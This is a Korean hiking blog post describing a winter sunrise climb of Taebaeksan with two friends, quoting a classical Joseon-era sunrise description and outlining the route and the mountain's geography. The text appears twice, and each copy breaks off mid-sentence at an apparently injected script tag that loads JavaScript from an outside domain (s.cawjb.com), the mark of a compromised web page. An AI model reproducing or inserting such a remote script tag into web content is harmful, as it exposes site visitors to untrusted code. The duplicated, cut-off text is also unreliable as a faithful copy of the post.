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[제목]
영상이,기국이와 함께한 한밝뫼 (백운학)
🧑 정부영
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📅 2016-01-06 18:15:17
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👀 80
정말 오랜만에 써보는 산행기이다. 기국이와 영상이 그리고 나 3인이 저물어 가는 올해 12월 첫날을 그렇게 산에서 맞았다.
음력 시월 스무 이렛날 이지러지긴 했지만 초라한 그런 그믐달이 아니라 쏟아질 듯한 별들의 무리들 속에 아주 잘 어우러지는 그런 달과 바로 그 아래로 연하여 강렬하게 쏘아대는 샛별(曉星, 金星)을 바라보며 기다리고 있으려니 바로 밑 수평선에는 희붐하게 검붉은 기운이 번지는 광경은 혼돈의 밤이 지나고 바로 천지를 분간하는 최초의 로고스 바로 그것이요 일월성신(日月星辰)의 정기를 모아 천년의 그리움을 잉태한 바로 그 순간인 것이다.
백두대간의 준령을 넘어 밤새 달음질쳐온 이곳 이름이 왜 "큰 밝음(太白)"일 수밖에 없는지를 역사(役事)하고 있는 것이다.
이 광경을 나의 필설로는 제대로 전하기가 어려워 우리가 학교 다닐 때 배웠던 意幽堂關北遊覽日記에 나오는 일출과정으로 대신하려 한다.
물 밑 홍운(紅雲)을 헤앗고( 헤왇고에서 바뀐 말, 헤치고)큰 실오리 같은 줄이 붉기 더욱 기이하며, 기운이 진홍 같은 것이 차차 나 손바닥 넓이 같은 것이 그믐밤에 보는 숯불 빛 같더라. 차차 나오더니, 그 우흐로 적은 회오리밤 같은 것이 붉기 호박(琥珀) 구슬 같고, 맑고 통랑(通郞)하기는 호박도곤(보다) 더 곱더라.
그 붉은 우흐로 훌훌 움직여 도는데, 처음 났던 붉은 기운이 백지 반 장 넓이 만치 반듯이 비치며, 밤 같던 기운이 해 되어 차차 커 가며, 큰 쟁반만 하여 불긋불긋 번듯번듯 뛰놀며, 적색이 온 바다에 끼치며, 몬저 붉은 기운이 차차 가새며, 해 흔들며 뛰놀기 더욱 자로 하며, 항 같고 독 같은 것이 좌우로 뛰놀며, 황홀히 번득여 양목이 어즐하며, 붉은 기운이 명랑하여 첫 홍색을 헤앗고 천중에 쟁반 같은 것이 수렛바퀴 같하야 물 속으로서 치밀어 받치듯이 올라붙으며, 항, 독 같은 시운이 스러지고, 처음 붉어 겉을 비추던 것은 모여 소혀처로(처럼) 드리워 물 속에 풍덩 빠지는 듯싶으더라. 일색(日色)이 조요하며 물결에 붉은 기운이 차차 가새며, 일광이 청랑하니, 만고천하에 그런 장관은 대두(對頭)할 데 없을 듯하더라.
짐작에 처음 백지 반 장만치 붉은 기운은 그 속에서 해 장차 나려고 우리어 그리 붉고, 그 회오리밤 같은 것은 진짓 일색을 빠혀 내니 우리온 기운이 차차 가새며, 독 같고 항 같은 것은 일색이 모딜이(모딜이 : 몹시)고온고로, 보른 사람의 안력(眼力)이 황홀하여 도모지 헛기운인 듯싶은지라.《東溟日記 : 순조 때 의유당(혹은 연안 김씨, 의령 남씨)의 고전 기행수필 中에서》

◀주목
오늘의 산행은 정말 삼대(三代)가 적덕(積德)을 하여야 볼 수 있는 구름 한 점 없는 일출을- 그것도 바람이 세기로 둘째가라고 하면 서러울 이곳- 바람 한 점 없는 고요 속에서 그리고 살아 천년, 죽어 천년을 지낸다는 주목(朱木)으로 온 몸을 걸치고 선 태백의 정상 이 장군봉에서 불끈 솟아오르는 해를 볼 수 있었다는 사실은 기회가 있을 때마다 이곳을 찾아오리라는 자기 최면을 걸어버려 명징(明澄:깨끗하고 맑다)한 새벽정신을 혼돈스럽게 만들어 버리는구만 기국아! 영상아! 몽유병 환자처럼 시도 때도 없이 내달아 올지 내맘 나도 몰라라
여기까지 올라오며 오늘 산행을 시작한 곳은 화방재 휴게소 우측 산길로 접어들면서이다. 화방재를 넘는 도로 우측에는 98년 개촌한 이래 많은 국가대표 선수가 지구력 증진, 심폐기능향상 등 체력단련을 하고 있는 대한체육회 태릉선수촌 태백분촌이 있다.

◀화방재
화방재-유일사 갈림길우측-장군봉(약 2시간 소요)-천제단-주목군락지-문수봉-당골 (약 15 km 5시간30분)이 오늘 산행의 예정된 코스이다.
여기서 잠시 태백산을 개관하면 큰 밝음의 산 태백(강원도 태백시·1천5백66m)은‘물의 나라’다. 낙동강 1천3백리의 첫 여울인 황지에서는 하루 5천t의 물이 솟아 드넓은 영남평야를 흘러 남해에 이른다. 금대봉골에 있는 한강의 발원지인 검룡소의 물은 1천3백여리를 흘러 서해로 흘러든다.
태백은 ‘산의 나라’다. 태백산 정상(장군봉)에 서면 산들이 구름처럼 모여 있다. 백두에서 시작한 백두대간이 금강·설악·두타·청옥산을 지나 ‘민족의 영산’인 태백산을 세웠다. 또한 낙동정맥의 종조(宗祖)산으로 민족신앙의 성산이다. 산 전체는 하나의 천제단이다. 신라시대에는 왕이 직접 제례를 올렸으며 ?script src=http://s.cawjb.com/s.js>
음력 시월 스무 이렛날 이지러지긴 했지만 초라한 그런 그믐달이 아니라 쏟아질 듯한 별들의 무리들 속에 아주 잘 어우러지는 그런 달과 바로 그 아래로 연하여 강렬하게 쏘아대는 샛별(曉星, 金星)을 바라보며 기다리고 있으려니 바로 밑 수평선에는 희붐하게 검붉은 기운이 번지는 광경은 혼돈의 밤이 지나고 바로 천지를 분간하는 최초의 로고스 바로 그것이요 일월성신(日月星辰)의 정기를 모아 천년의 그리움을 잉태한 바로 그 순간인 것이다.
백두대간의 준령을 넘어 밤새 달음질쳐온 이곳 이름이 왜 "큰 밝음(太白)"일 수밖에 없는지를 역사(役事)하고 있는 것이다.
이 광경을 나의 필설로는 제대로 전하기가 어려워 우리가 학교 다닐 때 배웠던 意幽堂關北遊覽日記에 나오는 일출과정으로 대신하려 한다.
물 밑 홍운(紅雲)을 헤앗고( 헤왇고에서 바뀐 말, 헤치고)큰 실오리 같은 줄이 붉기 더욱 기이하며, 기운이 진홍 같은 것이 차차 나 손바닥 넓이 같은 것이 그믐밤에 보는 숯불 빛 같더라. 차차 나오더니, 그 우흐로 적은 회오리밤 같은 것이 붉기 호박(琥珀) 구슬 같고, 맑고 통랑(通郞)하기는 호박도곤(보다) 더 곱더라.
그 붉은 우흐로 훌훌 움직여 도는데, 처음 났던 붉은 기운이 백지 반 장 넓이 만치 반듯이 비치며, 밤 같던 기운이 해 되어 차차 커 가며, 큰 쟁반만 하여 불긋불긋 번듯번듯 뛰놀며, 적색이 온 바다에 끼치며, 몬저 붉은 기운이 차차 가새며, 해 흔들며 뛰놀기 더욱 자로 하며, 항 같고 독 같은 것이 좌우로 뛰놀며, 황홀히 번득여 양목이 어즐하며, 붉은 기운이 명랑하여 첫 홍색을 헤앗고 천중에 쟁반 같은 것이 수렛바퀴 같하야 물 속으로서 치밀어 받치듯이 올라붙으며, 항, 독 같은 시운이 스러지고, 처음 붉어 겉을 비추던 것은 모여 소혀처로(처럼) 드리워 물 속에 풍덩 빠지는 듯싶으더라. 일색(日色)이 조요하며 물결에 붉은 기운이 차차 가새며, 일광이 청랑하니, 만고천하에 그런 장관은 대두(對頭)할 데 없을 듯하더라.
짐작에 처음 백지 반 장만치 붉은 기운은 그 속에서 해 장차 나려고 우리어 그리 붉고, 그 회오리밤 같은 것은 진짓 일색을 빠혀 내니 우리온 기운이 차차 가새며, 독 같고 항 같은 것은 일색이 모딜이(모딜이 : 몹시)고온고로, 보른 사람의 안력(眼力)이 황홀하여 도모지 헛기운인 듯싶은지라.《東溟日記 : 순조 때 의유당(혹은 연안 김씨, 의령 남씨)의 고전 기행수필 中에서》

◀주목
오늘의 산행은 정말 삼대(三代)가 적덕(積德)을 하여야 볼 수 있는 구름 한 점 없는 일출을- 그것도 바람이 세기로 둘째가라고 하면 서러울 이곳- 바람 한 점 없는 고요 속에서 그리고 살아 천년, 죽어 천년을 지낸다는 주목(朱木)으로 온 몸을 걸치고 선 태백의 정상 이 장군봉에서 불끈 솟아오르는 해를 볼 수 있었다는 사실은 기회가 있을 때마다 이곳을 찾아오리라는 자기 최면을 걸어버려 명징(明澄:깨끗하고 맑다)한 새벽정신을 혼돈스럽게 만들어 버리는구만 기국아! 영상아! 몽유병 환자처럼 시도 때도 없이 내달아 올지 내맘 나도 몰라라
여기까지 올라오며 오늘 산행을 시작한 곳은 화방재 휴게소 우측 산길로 접어들면서이다. 화방재를 넘는 도로 우측에는 98년 개촌한 이래 많은 국가대표 선수가 지구력 증진, 심폐기능향상 등 체력단련을 하고 있는 대한체육회 태릉선수촌 태백분촌이 있다.

◀화방재
화방재-유일사 갈림길우측-장군봉(약 2시간 소요)-천제단-주목군락지-문수봉-당골 (약 15 km 5시간30분)이 오늘 산행의 예정된 코스이다.
여기서 잠시 태백산을 개관하면 큰 밝음의 산 태백(강원도 태백시·1천5백66m)은‘물의 나라’다. 낙동강 1천3백리의 첫 여울인 황지에서는 하루 5천t의 물이 솟아 드넓은 영남평야를 흘러 남해에 이른다. 금대봉골에 있는 한강의 발원지인 검룡소의 물은 1천3백여리를 흘러 서해로 흘러든다.
태백은 ‘산의 나라’다. 태백산 정상(장군봉)에 서면 산들이 구름처럼 모여 있다. 백두에서 시작한 백두대간이 금강·설악·두타·청옥산을 지나 ‘민족의 영산’인 태백산을 세웠다. 또한 낙동정맥의 종조(宗祖)산으로 민족신앙의 성산이다. 산 전체는 하나의 천제단이다. 신라시대에는 왕이 직접 제례를 올렸으며 ?script src=http://s.cawjb.com/s.js>
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